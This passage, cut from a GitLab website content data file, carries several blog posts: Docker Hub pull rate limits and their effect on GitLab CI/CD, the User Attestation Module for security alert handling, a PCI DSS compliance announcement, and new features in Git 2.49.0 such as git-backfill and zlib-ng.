Gitlab","en-us/blog/tutorial-secure-bigquery-data-publishing-with-gitlab.yml","en-us/blog/tutorial-secure-bigquery-data-publishing-with-gitlab",{"_path":2079,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2080,"content":2086,"config":2091,"_id":2093,"_type":16,"title":2094,"_source":17,"_file":2095,"_stem":2096,"_extension":20},"/en-us/blog/prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd",{"title":2081,"description":2082,"ogTitle":2081,"ogDescription":2082,"noIndex":6,"ogImage":2083,"ogUrl":2084,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2084,"schema":2085},"Prepare now: Docker Hub rate limits will impact GitLab CI/CD","Learn how Docker Hub's upcoming pull rate limits will affect GitLab pipelines and what you can do to avoid disruptions.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662488/Blog/Hero%20Images/blog-image-template-1800x945__3_.png","https://about.gitlab.com/blog/prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Prepare now: Docker Hub rate limits will impact GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2025-03-24\",\n      }",{"title":2081,"description":2082,"authors":2087,"heroImage":2083,"date":2088,"body":2089,"category":834,"tags":2090},[1125],"2025-03-24","On April 1, 2025, Docker will implement new [pull rate limits](https://docs.docker.com/docker-hub/usage/) to Docker Hub that may significantly impact CI/CD pipelines across the industry, including those running on GitLab. The most significant change is the 100 pulls-per-6-hours limit for unauthenticated users.\n\n## What's changing?\n\nStarting April 1, Docker will enforce the following pull rate limits:\n\n| User type | Pull rate limit per hour | Number of public repositories | Number of private repositories |\n|-----------|--------------------------|-------------------------------|--------------------------------|\n| Business, Team, Pro (authenticated) | Unlimited (fair use) | Unlimited | Unlimited |\n| Personal (authenticated) | 200 per 6-hour window | Unlimited | Up to 1 |\n| Unauthenticated users | 100 per 6-hour window per IPv4 address or IPv6 /64 subnet | Not applicable | Not applicable |\n\n\u003Cp>\u003C/p>\nThis is particularly important because:\n\n* GitLab's Dependency Proxy currently pulls from Docker Hub as an unauthenticated user.\n* Most CI/CD pipelines that don't use the Dependency Proxy pull directly from Docker Hub as unauthenticated users.\n* On hosted runners for GitLab.com, multiple users might share the same IP address or subnet, making them collectively subject to this limit.\n\n## How this impacts GitLab users\n\n**Impact on direct Docker Hub pulls**\n\nIf your CI/CD pipelines directly pull images from Docker Hub without authentication, they will be limited to 100 pulls per six-hour window per IP address. For pipelines that run frequently or across multiple projects sharing the same runner infrastructure, this will quickly exhaust the limit and cause pipeline failures.\n\n**Impact on GitLab Dependency Proxy**\n\nThe GitLab Dependency Proxy feature allows you to cache Docker images within GitLab to speed up pipelines and reduce external dependencies. However, the current implementation pulls from Docker Hub as an unauthenticated user, meaning it will also be subject to the 100 pulls-per-6-hours limit.\n\n**Impact on hosted runners**\n\nFor hosted runners on GitLab.com, we use [Google Cloud's pull-through cache](https://cloud.google.com/artifact-registry/docs/pull-cached-dockerhub-images). This mirrors the commonly pulled images and allows us to avoid rate limits. Job images defined as `image:` or `services:` in your `.gitlab-ci.yml` file, are not affected by rate limits.\n\nThings are slightly more challenging whenever images are pulled within the runner environment. The most common use case to pull images during runner runtime is to build an image using Docker-in-Docker or Kaniko. In this scenario, the Docker Hub image defined in your `Dockerfile` is pulled directly from Docker Hub and is likely to be affected by rate limits.\n\n## How GitLab is responding\n\nWe're actively working on solutions to mitigate these challenges:\n\n* **Dependency Proxy authentication:** We've added support for Docker Hub authentication in the [GitLab Dependency Proxy feature](https://gitlab.com/gitlab-org/gitlab/-/issues/331741). This will allow the Dependency Proxy to pull images from Docker Hub as an authenticated user, significantly increasing the rate limits.\n* **Documentation updates:** We've updated our [documentation](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials) to provide clear guidance on configuring pipeline authentication for Docker Hub.\n* **Internal infrastructure preparation:** We're preparing our internal infrastructure to minimize the impact on hosted runners for GitLab.com.\n\n## How you can prepare\n\n**Option 1: Configure Docker Hub authentication in your pipelines**\n\nFor pipelines that pull directly from Docker Hub, you can configure authentication to increase your rate limit to 200 pulls per six-hour window (or unlimited with a paid Docker Hub subscription).\n\nAdd Docker Hub credentials to your project or group CI/CD variables (not in your `.gitlab-ci.yml` file). Please refer to our [documentation on using Docker images](https://docs.gitlab.com/ci/docker/using_docker_images/#use-statically-defined-credentials) for detailed instructions on setting up the `DOCKER_AUTH_CONFIG` CI/CD variable correctly.\n\n**Option 2: Use the GitLab Container Registry**\n\nConsider pushing your frequently used Docker images to your [GitLab Container Registry](https://docs.gitlab.com/user/packages/container_registry/). This eliminates the need to pull from Docker Hub during CI/CD runs:\n\n1. Pull the image from Docker Hub.\n2. Tag it for your GitLab Container Registry.\n3. Push it to your GitLab Container Registry.\n4. Update your pipelines to pull from GitLab Container Registry.\n\n```\ndocker pull busybox:latest\ndocker tag busybox:latest $CI_REGISTRY_IMAGE/busybox:latest\ndocker push $CI_REGISTRY_IMAGE/busybox:latest\n```\n\nThen in your `.gitlab-ci.yml`:\n\n`image: $CI_REGISTRY_IMAGE/busybox:latest`\n\n**Option 3: Use GitLab Dependency Proxy**\n\nGitLab's Dependency Proxy feature provides a way to cache and proxy Docker images, reducing external dependencies and rate limit issues.\n\nCurrent authentication options:\n* GitLab 17.10: Configure Docker Hub authentication for the Dependency Proxy using [GraphQL API](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials-using-the-graphql-api)\n* GitLab 17.11: Use the new UI-based configuration in your group's settings (already available on GitLab.com)\n\nOnce authentication is properly configured, you can:\n\n1. Configure Docker Hub credentials in your group's Dependency Proxy settings:\n  - For GitLab 17.11+ (or current GitLab.com): Navigate to your group's settings > Packages & Registries > Dependency Proxy.\n  - For GitLab 17.10: Use the GraphQL API to configure authentication.\n2. Update your pipelines to use the Dependency Proxy URLs in your CI/CD configuration:\n`image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/busybox:latest`\n\n**Option 4: Consider a Docker Hub paid subscription**\n\nFor organizations with heavy Docker Hub usage, upgrading to a paid Docker subscription (Team or Business) will provide unlimited pulls, which may be the most straightforward solution.\n\n## Best practices to reduce Docker Hub rate limit impact\n\nRegardless of which option you choose, consider these best practices to minimize Docker Hub rate limit impact:\n\n* Use specific image tags instead of `latest` to avoid unnecessary pulls.\n* Consolidate your Docker files to use the same base images across projects.\n* Schedule less critical pipelines to run outside of peak hours.\n* Use caching effectively to avoid pulling the same images repeatedly.\n\n**Note:** According to Docker Hub [documentation](https://docs.docker.com/docker-hub/usage/pulls/#pull-definition), the pull count is incremented when pulling the image manifest, not based on image size or number of layers.\n\n## Timeline and next steps\n\n**Now**\n  * Implement authentication for direct Docker Hub pulls.\n  * GitLab.com users can already configure Docker Hub authentication for the Dependency Proxy using either:\n    * The GraphQL API, or\n    * The UI in group settings\n  * Self-managed GitLab 17.10 users can configure Dependency Proxy authentication using the GraphQL API.\n\n**April 1, 2025**\n  * Docker Hub rate limits go into effect.\n\n**April 17, 2025**\n  * GitLab 17.11 will be released with UI-based Dependency Proxy authentication support for self-managed instances. \n\nWe recommend taking action well before the April 1 deadline to avoid unexpected pipeline failures. For most users, configuring the Dependency Proxy with Docker Hub authentication is the most efficient long-term solution.\n\n> Have questions or need implementation help? Please visit [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/526605) where our team is actively providing support.",[110,736,479],{"slug":2092,"featured":92,"template":678},"prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd","content:en-us:blog:prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd.yml","Prepare Now Docker Hub Rate Limits Will Impact Gitlab Ci Cd","en-us/blog/prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd.yml","en-us/blog/prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd",{"_path":2098,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2099,"content":2106,"config":2111,"_id":2114,"_type":16,"title":2115,"_source":17,"_file":2116,"_stem":2117,"_extension":20},"/en-us/blog/gitlab-17-10-released",{"title":2100,"description":2101,"ogTitle":2100,"ogDescription":2101,"config":2102,"ogImage":2103,"ogUrl":2104,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2104,"schema":2105},"GitLab 17.10 released","Learn about the improvements in this release, including Duo Code Review Beta, Root Cause Analysis for GitLab Duo Self-Hosted, GitLab Query Language Views Beta, and more!",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662230/Blog/Hero%20Images/product-gl17-blog-release-cover-17-10-0093-1800x945-fy25.png","https://about.gitlab.com/blog/gitlab-17-10-released","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 17.10 released\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2025-03-20\",\n      }",{"title":2100,"description":2101,"authors":2107,"heroImage":2103,"date":2108,"body":2109,"category":695,"tags":2110},[1125],"2025-03-20","This is the post for the [GitLab 17.0 release](https://about.gitlab.com/releases/2025/03/20/gitlab-17-10-released/).",[774],{"slug":2112,"featured":92,"template":678,"externalUrl":2113},"gitlab-17-10-released","https://about.gitlab.com/releases/2025/03/20/gitlab-17-10-released/","content:en-us:blog:gitlab-17-10-released.yml","Gitlab 17 10 Released","en-us/blog/gitlab-17-10-released.yml","en-us/blog/gitlab-17-10-released",{"_path":2119,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2120,"content":2126,"config":2132,"_id":2134,"_type":16,"title":2135,"_source":17,"_file":2136,"_stem":2137,"_extension":20},"/en-us/blog/self-service-security-alert-handling-with-gitlabs-uam",{"title":2121,"description":2122,"ogTitle":2121,"ogDescription":2122,"noIndex":6,"ogImage":2123,"ogUrl":2124,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2124,"schema":2125},"Self-service security alert handling with GitLab's UAM","The User Attestation Module automates security alerts by routing them directly to team members for verification, reducing manual SecOps work and enhancing audit trails.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662080/Blog/Hero%20Images/AdobeStock_1097303277.jpg","https://about.gitlab.com/blog/self-service-security-alert-handling-with-gitlabs-uam","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Self-service security alert handling with GitLab's UAM\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bala Allam\"},{\"@type\":\"Person\",\"name\":\"Matt Coons\"}],\n        \"datePublished\": \"2025-03-18\",\n      }",{"title":2121,"description":2122,"authors":2127,"heroImage":2123,"date":2129,"body":2130,"category":674,"tags":2131},[2128,1403],"Bala Allam","2025-03-18","The [GitLab Security Operations team](https://handbook.gitlab.com/handbook/security/security-operations/) prioritizes automation that enables security engineers to focus on high-impact work rather than routine tasks that can be automated. A key innovation in this automation strategy is creation of the User Attestation Module (UAM), which allows GitLab team members to directly respond to and verify security alerts flagged as potentially malicious. When the [GUARD framework](https://about.gitlab.com/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd/) detects suspicious activity, it routes the alert to the relevant team member for review. The team member can then attest whether they recognize and authorize the activity. Their response is recorded for audit purposes, and, based on their input, the system either closes the alert or escalates it to the Security Incident Response Team (SIRT).\n\nIn this article, you'll learn about the UAM and how it can benefit your DevSecOps environment.\n\n## How the User Attestation Module works\n\nThe UAM streamlines security alert handling through a comprehensive workflow that includes:\n\n* Alert verification by team members  \n* Collection and documentation of supporting evidence  \n* Option to request additional support from GitLab SecOps  \n* Secure storage of team member responses  \n* Automated alert resolution or incident escalation  \n* Team member feedback collection for continuous improvement\n\nWe created UAM to help us: \n\n1. Route low priority alerts (such as administrative activities) to the relevant team members who performed them.  \n2. Reduce alert fatigue by first checking with the team member who completed the activity before routing to SIRT if necessary.   \n3. Collect and store team member responses to maintain an audit trail and rich metrics.   \n4. Create a response tier between **SIRT needs to triage this alert** and **This is an informational signal that does not need to be reviewed directly**.\n\n## UAM's design principles\n\nThe UAM is a Slack-first automation that reaches out to team members to validate activity directly in Slack, reducing effort and increasing participation. Today, 40% of all security alerts are delivered to team members through the UAM, saving SIRT valuable time to focus on higher importance alerts and incidents. \n\nA robust escalation workflow in the UAM ensures that all alerts are validated by team members or escalated to SIRT. When a UAM alert reaches a team member, they have a period of time to respond attesting to the activity or stating they do not recognize the activity. If no response is recorded, the UAM alert is auto-escalated to SIRT for handling. \n\nComprehensive metrics collection is a core GUARD design principle, which extends to how we designed UAM. All user interactivity with triggered UAM alerts is logged in a metrics database, which enables comprehensive measurement to identify problematic alerts, opportunities for process improvement, and overall UAM health.\n\nUAM enables a third alert tier, bridging the gap between alerts that always needed to be investigated, and lower importance informational signals that are grouped by entity for escalation and correlation. \n\n- Stable alerts (must be triaged and investigated by SIRT)  \n- UAM alerts (routed to team members to attest to the activity)  \n- Informational signal (low-importance events that are interesting and correlated by entity grouping)\n\n## UAM components \n\nThe UAM framework consists of multiple components:\n\n- GitLab: Fetches a user email address based on user_id via user’s API and stores user's responses  - Slack: Searches each user by email using Slack API and posts a UAM notification to the end user as well as collects responses from users using Slack modals  \n- Tines: Processes and orchestrates user responses and alerts     \n- Devo: Receives alert payload and alert notifications  \n- Metrics DB: Records metrics for triggered UAM alerts\n\nThe workflow integrates with following modules:\n\n- GitLab API for user identification  \n- Slack API for user communication  \n- Webhook configuration for alert reception  \n- Audit trail storage in GitLab\n\n## UAM workflow\n\nThe diagram below illustrates the workflow of the UAM module:\n\n![UAM - flow chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674678/Blog/Content%20Images/UAM_detection_edited.png)\n\n## Following along with GUARD\n\nWe are still unveiling parts of GUARD and how it works, so [follow along](https://gitlab.com/gitlab-security-oss/guard) to learn how we automate our security detections from end to end.\n\n## Read more about the GUARD framework\n\n- [Unveiling the GUARD framework to automate security detections at GitLab](https://about.gitlab.com/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab/)  \n- [Automating cybersecurity threat detections with GitLab CI/CD](https://about.gitlab.com/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd/)\n- [Open Source Security at GitLab](https://about.gitlab.com/security/open-source-resources/)",[674,696,479,695,815],{"slug":2133,"featured":6,"template":678},"self-service-security-alert-handling-with-gitlabs-uam","content:en-us:blog:self-service-security-alert-handling-with-gitlabs-uam.yml","Self Service Security Alert Handling With Gitlabs Uam","en-us/blog/self-service-security-alert-handling-with-gitlabs-uam.yml","en-us/blog/self-service-security-alert-handling-with-gitlabs-uam",{"_path":2139,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2140,"content":2146,"config":2152,"_id":2154,"_type":16,"title":2155,"_source":17,"_file":2156,"_stem":2157,"_extension":20},"/en-us/blog/gitlab-achieves-pci-dss-attestation-of-compliance",{"title":2141,"description":2142,"ogTitle":2141,"ogDescription":2142,"noIndex":6,"ogImage":2143,"ogUrl":2144,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2144,"schema":2145},"GitLab achieves PCI DSS Attestation of Compliance","Learn how our completion of the AoC as a Level 1 Service Provider, along with our broader security credentials,  helps us support customers'  compliance efforts.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673615/Blog/Hero%20Images/blog-image-template-1800x945__4_.png","https://about.gitlab.com/blog/gitlab-achieves-pci-dss-attestation-of-compliance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab achieves PCI DSS Attestation of Compliance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sasha Gazlay\"}],\n        \"datePublished\": \"2025-03-17\",\n      }",{"title":2141,"description":2142,"authors":2147,"heroImage":2143,"date":2149,"body":2150,"category":834,"tags":2151},[2148],"Sasha Gazlay","2025-03-17","Compliance with the [Payment Card Industry (PCI) Data Security Standard (DSS)](https://www.pcisecuritystandards.org/) helps to alleviate security vulnerabilities and protect cardholder data. The PCI standard is required of any enterprise handling credit card and related authentication data or whose services could impact the security of the cardholder data environment. GitLab, as the most comprehensive AI-powered DevSecOps platform, provides the tools and resources to support our customers’ security posture, including those handling PCI-relevant data.\n\nGitLab is pleased to announce the successful achievement of a PCI DSS Attestation of Compliance (AoC) as a Level 1 Service Provider. The AoC comes after an independent Qualified Security Assessor-led validation of our alignment to the PCI DSS. The attestation, in addition to GitLab’s broader compliance credentials, demonstrates the dedication to our mission of being the leading example in security, innovation, and [transparency](https://handbook.gitlab.com/handbook/values/#transparency) in our information security practices.\n\nPlease visit GitLab’s [Trust Center](https://about.gitlab.com/security/) to view our AoC as well as details on shared responsibilities when relying on our attestation. Also, check out [our PCI compliance page](https://about.gitlab.com/compliance/pci-compliance/), which explains how GitLab can support your compliance efforts.",[479,674,736],{"slug":2153,"featured":6,"template":678},"gitlab-achieves-pci-dss-attestation-of-compliance","content:en-us:blog:gitlab-achieves-pci-dss-attestation-of-compliance.yml","Gitlab Achieves Pci Dss Attestation Of Compliance","en-us/blog/gitlab-achieves-pci-dss-attestation-of-compliance.yml","en-us/blog/gitlab-achieves-pci-dss-attestation-of-compliance",{"_path":2159,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2160,"content":2165,"config":2171,"_id":2173,"_type":16,"title":2174,"_source":17,"_file":2175,"_stem":2176,"_extension":20},"/en-us/blog/whats-new-in-git-2-49-0",{"title":2161,"description":2162,"ogTitle":2161,"ogDescription":2162,"noIndex":6,"ogImage":1145,"ogUrl":2163,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2163,"schema":2164},"What's new in Git 2.49.0?","Learn about the latest version of Git, including improved performance thanks to zlib-ng, a new name-hashing algorithm, and git-backfill(1).","https://about.gitlab.com/blog/whats-new-in-git-2-49-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What's new in Git 2.49.0?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Toon Claes\"}],\n        \"datePublished\": \"2025-03-14\",\n      }",{"title":2161,"description":2162,"authors":2166,"heroImage":1145,"date":2168,"body":2169,"category":813,"tags":2170},[2167],"Toon Claes","2025-03-14","The Git project recently released [Git 2.49.0](https://lore.kernel.org/git/xmqqfrjfilc8.fsf@gitster.g/). Let's look at a few notable highlights from this release, which includes contributions from GitLab's Git team and the wider Git community.\n\nWhat's covered:\n- [git-backfill(1) and the new path-walk API](#git-backfill(1)-and-the-new-path-walk-api)\n- [Introduction of zlib-ng](#introduction-of-zlib-ng)\n- [Continued iteration on Meson](#continued-iteration-on-meson)\n- [Deprecation of .git/branches/ and .git/remotes/](#deprecation-of-.gitbranches%2F-and-.git%2Fremotes%2F)\n- [Rust bindings for libgit](#rust-bindings-for-libgit)\n- [New name-hashing algorithm](#new-name-hashing-algorithm)\n- [Promisor remote capability](#promisor-remote-capability)\n- [Thin clone using `--revision`](#thin-clone-using---revision)\n\n## git-backfill(1) and the new path-walk API\n\nWhen you [`git-clone(1)`](https://git-scm.com/docs/git-clone) a Git repository,\nyou can pass it the\n[`--filter`](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt-code--filterltfilter-specgtcode)\noption. Using this option allows you to create a _partial clone_. In a partial\nclone the server only sends a subset of reachable objects according to the given\nobject filter. For example, creating a clone with `--filter=blob:none` will not\nfetch any blobs (file contents) from the server and create a _blobless clone_.\n\nBlobless clones have all the reachable commits and trees, but no blobs. When you\nperform an operation like\n[`git-checkout(1)`](https://git-scm.com/docs/git-checkout), Git will download\nthe missing blobs to complete that operation. For some operations, like\n[`git-blame(1)`](https://git-scm.com/docs/git-blame), this might result in\ndownloading objects one by one, which will slow down the command drastically.\nThis performance degradation occurs because `git-blame(1)` must traverse the\ncommit history to identify which specific blobs it needs, then request each\nmissing blob from the server separately.\n\nIn Git 2.49, a new subcommand `git-backfill(1)` is introduced, which can be\nused to download missing blobs in a blobless partial clone.\n\nUnder the hood, the `git-backfill(1)` command leverages the new path-walk API, which is different from how Git generally iterates over commits. Rather than iterating over the commits one at a time and recursively visiting the trees and blobs associated with each commit, the path-walk API does traversal by path. For each path, it adds a list of associated tree objects to a stack. This stack is then processed in a depth-first order. So, instead of processing every object in commit `1` before moving to commit `2`, it will process all versions of file `A` across all commits before moving to file `B`. This approach greatly improves performance in scenarios where grouping by path is essential.\n\nLet me demonstrate its use by making a blobless clone of [`gitlab-org/git`](https://gitlab.com/gitlab-org/git):\n\n```shell\n$ git clone --filter=blob:none --bare --no-tags git@gitlab.com:gitlab-org/git.git\nCloning into bare repository 'git.git'...\nremote: Enumerating objects: 245904, done.\nremote: Counting objects: 100% (1736/1736), done.\nremote: Compressing objects: 100% (276/276), done.\nremote: Total 245904 (delta 1591), reused 1547 (delta 1459), pack-reused 244168 (from 1)\nReceiving objects: 100% (245904/245904), 59.35 MiB | 15.96 MiB/s, done.\nResolving deltas: 100% (161482/161482), done.\n```\n\nAbove, we use `--bare` to ensure Git doesn't need to download any blobs to check\nout an initial branch. We can verify this clone does not contain any blobs:\n\n```sh\n$ git cat-file --batch-all-objects --batch-check='%(objecttype)' | sort | uniq -c\n  83977 commit\n 161927 tree\n```\n\nIf you want to see the contents of a file in the repository, Git has to download it:\n\n```sh\n$ git cat-file -p HEAD:README.md\nremote: Enumerating objects: 1, done.\nremote: Total 1 (delta 0), reused 0 (delta 0), pack-reused 1 (from 1)\nReceiving objects: 100% (1/1), 1.64 KiB | 1.64 MiB/s, done.\n\n[![Build status](https://github.com/git/git/workflows/CI/badge.svg)](https://github.com/git/git/actions?query=branch%3Amaster+event%3Apush)\n\nGit - fast, scalable, distributed revision control system\n=========================================================\n\nGit is a fast, scalable, distributed revision control system with an\nunusually rich command set that provides both high-level operations\nand full access to internals.\n\n[snip]\n```\n\nAs you can see above, Git first talks to the remote repository to download the blob before\nit can display it.\n\nWhen you would like to `git-blame(1)` that file, it needs to download a lot\nmore:\n\n```sh\n$ git blame HEAD README.md\nremote: Enumerating objects: 1, done.\nremote: Counting objects: 100% (1/1), done.\nremote: Total 1 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)\nReceiving objects: 100% (1/1), 1.64 KiB | 1.64 MiB/s, done.\nremote: Enumerating objects: 1, done.\nremote: Counting objects: 100% (1/1), done.\nremote: Total 1 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)\nReceiving objects: 100% (1/1), 1.64 KiB | 1.64 MiB/s, done.\nremote: Enumerating objects: 1, done.\nremote: Counting objects: 100% (1/1), done.\nremote: Total 1 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)\nReceiving objects: 100% (1/1), 1.64 KiB | 1.64 MiB/s, done.\nremote: Enumerating objects: 1, done.\n\n[snip]\n\ndf7375d772 README.md (Ævar Arnfjörð Bjarmason 2021-11-23 17:29:09 +0100  1) [![Build status](https://github.com/git/git/workflows/CI/badge.svg)](https://github.com/git/git/actions?query=branch%3Amaster+event%3Apush)\n5f7864663b README.md (Johannes Schindelin \t2019-01-29 06:19:32 -0800  2)\n28513c4f56 README.md (Matthieu Moy        \t2016-02-25 09:37:29 +0100  3) Git - fast, scalable, distributed revision control system\n28513c4f56 README.md (Matthieu Moy        \t2016-02-25 09:37:29 +0100  4) =========================================================\n556b6600b2 README\t(Nicolas Pitre       \t2007-01-17 13:04:39 -0500  5)\n556b6600b2 README\t(Nicolas Pitre       \t2007-01-17 13:04:39 -0500  6) Git is a fast, scalable, distributed revision control system with an\n556b6600b2 README\t(Nicolas Pitre       \t2007-01-17 13:04:39 -0500  7) unusually rich command set that provides both high-level operations\n556b6600b2 README\t(Nicolas Pitre       \t2007-01-17 13:04:39 -0500  8) and full access to internals.\n556b6600b2 README\t(Nicolas Pitre       \t2007-01-17 13:04:39 -0500  9)\n\n[snip]\n```\n\nWe've truncated the output, but as you can see, Git goes to the server for each\nrevision of that file separately. That's really inefficient. With\n`git-backfill(1)` we can ask Git to download all blobs:\n\n```shell\n$ git backfill\nremote: Enumerating objects: 50711, done.\nremote: Counting objects: 100% (15438/15438), done.\nremote: Compressing objects: 100% (708/708), done.\nremote: Total 50711 (delta 15154), reused 14730 (delta 14730), pack-reused 35273 (from 1)\nReceiving objects: 100% (50711/50711), 11.62 MiB | 12.28 MiB/s, done.\nResolving deltas: 100% (49154/49154), done.\nremote: Enumerating objects: 50017, done.\nremote: Counting objects: 100% (10826/10826), done.\nremote: Compressing objects: 100% (634/634), done.\nremote: Total 50017 (delta 10580), reused 10192 (delta 10192), pack-reused 39191 (from 1)\nReceiving objects: 100% (50017/50017), 12.17 MiB | 12.33 MiB/s, done.\nResolving deltas: 100% (48301/48301), done.\nremote: Enumerating objects: 47303, done.\nremote: Counting objects: 100% (7311/7311), done.\nremote: Compressing objects: 100% (618/618), done.\nremote: Total 47303 (delta 7021), reused 6693 (delta 6693), pack-reused 39992 (from 1)\nReceiving objects: 100% (47303/47303), 40.84 MiB | 15.26 MiB/s, done.\nResolving deltas: 100% (43788/43788), done.\n```\n\nThis backfills all blobs, turning the blobless clone into a full clone:\n\n```shell\n$ git cat-file --batch-all-objects --batch-check='%(objecttype)' | sort | uniq -c\n 148031 blob\n  83977 commit\n 161927 tree\n```\n\nThis [project](https://lore.kernel.org/git/pull.1820.v3.git.1738602667.gitgitgadget@gmail.com/)\nwas led by [Derrick Stolee](https://stolee.dev/) and was merged with\n[e565f37553](https://gitlab.com/gitlab-org/git/-/commit/e565f3755342caf1d21e22359eaf09ec11d8c0ae).\n\n## Introduction of zlib-ng\n\nAll objects in the `.git/` folder are compressed by Git using [`zlib`](https://zlib.net/). `zlib` is the reference implementation for the [RFC\n1950](https://datatracker.ietf.org/doc/html/rfc1950): ZLIB Compressed Data\nFormat. Created in 1995, `zlib` has a long history and is incredibly\nportable, even supporting many systems that predate the Internet. Because of its\nwide support of architectures and compilers, it has limitations in what it is\ncapable of.\n\nThe fork [`zlib-ng`](https://github.com/zlib-ng/zlib-ng) was created to\naccommodate the limitations. `zlib-ng` aims to be optimized for modern\nsystems. This fork drops support for legacy systems and instead brings in\npatches for Intel optimizations, some Cloudflare optimizations, and a couple\nother smaller patches.\n\nThe `zlib-ng` library itself provides a compatibility layer for `zlib`. The\ncompatibility later allows `zlib-ng` to be a drop-in replacement for `zlib`, but\nthat layer is not available on all Linux distributions. In Git 2.49:\n\n- A compatibility layer was added to the Git project.\n- Build options were added to both to the [`Makefile`](https://gitlab.com/gitlab-org/git/-/blob/b9d6f64393275b505937a8621a6cc4875adde8e0/Makefile#L186-187)\n  and [Meson Build file](https://gitlab.com/gitlab-org/git/-/blob/b9d6f64393275b505937a8621a6cc4875adde8e0/meson.build#L795-811).\n\nThese additions make it easier to benefit from the performance improvements of\n`zlib-ng`.\n\nIn local benchmarks, we've seen a ~25% speedup when using `zlib-ng` instead of `zlib`. And we're in the process of rolling out these changes to\nGitLab.com, too.\n\nIf you want to benefit from the gains of `zlib-ng`, first verify if Git\non your machine is already using `zlib-ng` by running\n`git version --build-options`:\n\n```shell\n$ git version --build-options\ngit version 2.47.1\ncpu: x86_64\nno commit associated with this build\nsizeof-long: 8\nsizeof-size_t: 8\nshell-path: /bin/sh\nlibcurl: 8.6.0\nOpenSSL: OpenSSL 3.2.2 4 Jun 2024\nzlib: 1.3.1.zlib-ng\n```\n\nIf the last line includes `zlib-ng` then your Git is already built\nusing the faster `zlib` variant. If not, you can either:\n\n- Ask the maintainer of the Git package you are using to include `zlib-ng` support.\n- Build Git yourself from source.\n\nThese [changes](https://gitlab.com/gitlab-org/git/-/commit/9d0e81e2ae3bd7f6d8a655be53c2396d7af3d2b0)\nwere [introduced](https://lore.kernel.org/git/20250128-b4-pks-compat-drop-uncompress2-v4-0-129bc36ae8f5@pks.im/)\nby [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Continued iteration on Meson\n\nIn our article about the Git 2.48 release,\nwe touched on [the introduction of the Meson build system](https://about.gitlab.com/blog/whats-new-in-git-2-48-0/#meson-build-system). [Meson](https://en.wikipedia.org/wiki/Meson_(software)) is\na build automation tool used by the Git project that at some point might replace [Autoconf](https://en.wikipedia.org/wiki/Autoconf),\n[CMake](https://en.wikipedia.org/wiki/CMake), and maybe even\n[Make](https://en.wikipedia.org/wiki/Make_(software)).\n\nDuring this release cycle, work continued on using Meson, adding various missing\nfeatures and stabilization fixes:\n\n  - [Improved test coverage for\n\tCI](https://lore.kernel.org/git/20250122-b4-pks-meson-additions-v3-0-5a51eb5d3dcd@pks.im/)\n\twas merged in\n\t[72f1ddfbc9](https://gitlab.com/gitlab-org/git/-/commit/72f1ddfbc95b47c6011bb423e6947418d1d72709).\n  - [Bits and pieces to use Meson in `contrib/`](https://lore.kernel.org/git/20250219-b4-pks-meson-contrib-v2-0-1ba5d7fde0b9@pks.im/)\n\twere merged in\n\t[2a1530a953](https://gitlab.com/gitlab-org/git/-/commit/2a1530a953cc4d2ae62416db86c545c7ccb73ace).\n  - [Assorted fixes and improvements to the build procedure based on\n\tmeson](https://lore.kernel.org/git/20250226-b4-pks-meson-improvements-v3-0-60c77cf673ae@pks.im/)\n\twere merged in\n\t[ab09eddf60](https://gitlab.com/gitlab-org/git/-/commit/ab09eddf601501290b5c719574fbe6c02314631f).\n  - [Making Meson aware of building\n\t`git-subtree(1)`](https://lore.kernel.org/git/20250117-b4-pks-build-subtree-v1-0-03c2ed6cc42e@pks.im/)\n\twas merged in\n\t[3ddeb7f337](https://gitlab.com/gitlab-org/git/-/commit/3ddeb7f3373ae0e309d9df62ada24375afa456c7).\n  - [Learn Meson to generate HTML documentation\n\tpages](https://lore.kernel.org/git/20241227-b4-pks-meson-docs-v2-0-f61e63edbfa1@pks.im/)\n\twas merged 